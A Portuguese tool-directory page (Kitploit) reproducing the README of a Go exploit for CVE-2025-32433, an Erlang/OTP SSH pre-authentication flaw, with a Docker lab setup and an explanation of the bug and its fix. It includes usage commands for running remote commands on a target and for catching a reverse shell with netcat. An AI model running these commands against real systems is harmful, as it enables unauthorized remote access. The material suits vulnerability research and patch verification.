Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-32433-Remote-Shell — Exploit baseado em Go para CVE-2025-32433 | Kitploit
Ferramentas/GitHubGitHub/meloppeitreet/cve-2025-32433-remote-shell
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoShellcodeTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubmeloppeitreet/cve-2025-32433-remote-shell

CVE-2025-32433-Remote-Shell

Exploit baseado em Go para CVE-2025-32433

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
2há 1 anoAinda não revisado
Compartilhar

CVE-2025-32433 Shell Remoto

Exploit baseado em Go para CVE-2025-32433 que retorna um shell bash remoto.

Fortemente inspirado pelo entendimento do exploit derivado do PoC da ProDefense para CVE-2025-32433.

Executando o Exploit

root@kitploit:~
make

O exploit.exe também é disponibilizado para máquinas Windows pelo Makefile de compilação cruzada.

em seguida, execute o binário do exploit de uma das 2 formas:

Comando

root@kitploit:~
./exploit <ip-alvo> <porta-alvo> "<comando>"

NOTA: não retorna a saída do comando

Shell Reverso

root@kitploit:~
nc -lnvp <porta-atacante>
root@kitploit:~
./exploit <ip-alvo> <porta-alvo> <ip-atacante> <porta-atacante>

Configurando o Ambiente

Usando o Dockerfile da ProDefense, você pode configurar um ambiente através do seguinte:

root@kitploit:~
docker build -t "cve-2025-32433:Dockerfile" .
root@kitploit:~
docker run -p 2222:2222 cve-2025-32433:Dockerfile

Você pode então executar o exploit conforme descrito na seção Executando o Exploit: por exemplo

root@kitploit:~
nc -lnvp 4444
root@kitploit:~
./exploit 127.0.0.1 2222 172.17.0.1 4444

172.17.0.1 é o IP padrão do Docker Host

Explicação do Exploit

TL;DR "O problema é causado por uma falha no tratamento de mensagens do protocolo SSH que permite a um atacante enviar mensagens do protocolo de conexão antes da autenticação,"

Procedimento SSH Típico:

root@kitploit:~
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (troca de chaves)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST

Procedimento do Exploit:

  1. Conexão TCP com a Vítima
  2. Troca de Banner SSH
  3. SSH_MSG_KEXINIT
  4. SSH_MSG_CHANNEL_OPEN (Pré-autenticação)
  5. SSH_MSG_CHANNEL_REQUEST (Pré-autenticação) --> contém o payload do comando

Observe que toda a parte USERAUTH é ignorada no exploit.

Resumo das Mensagens

RFCs relevantes para Mensagens SSH:

  • RFC 4253: The Secure Shell (SSH) Transport Layer Protocol
  • RFC 4254: The Secure Shell (SSH) Connection Protocol

Números das Mensagens

Números de Mensagens no Protocolo de Camada de Transporte SSH

Números de Mensagens no Protocolo de Conexão SSH

Formatos das Mensagens

SSH_MSG_KEXINIT

Formato SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

Formato SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

Formato SSH_MSG_CHANNEL_REQUEST

Outros Requisitos

Formato de String (de RFC 4251: The Secure Shell (SSH) Protocol Architecture)

String

Preenchimento (Padding)

Preenchimento

Compreendendo a Correção e o Exploit

A seguir está a correção introduzida nas Bibliotecas Erlang OTP no commit ssh: correção RCE precoce:

handle_msg

A correção introduz uma nova cláusula handle_msg que, de acordo com seus argumentos, captura:

  • Msg: variável coringa para qualquer mensagem SSH recebida que ainda não foi correspondida por cláusulas anteriores (como #ssh_msg_disconnect{})
  • #ssh{authenticated = false}: estado da sessão que corresponde se a conexão ainda não foi autenticada.

A cláusula não capturará sessões com authenticated = true, que é atribuído à sessão quando o servidor recebe um #ssh_msg_userauth_success{}:

authenticated = true

que é enviado após o sucesso de qualquer um dos seguintes métodos de autenticação:

métodos de autenticação que enviam #ssh_msg_userauth_success{}

Baixar ferramenta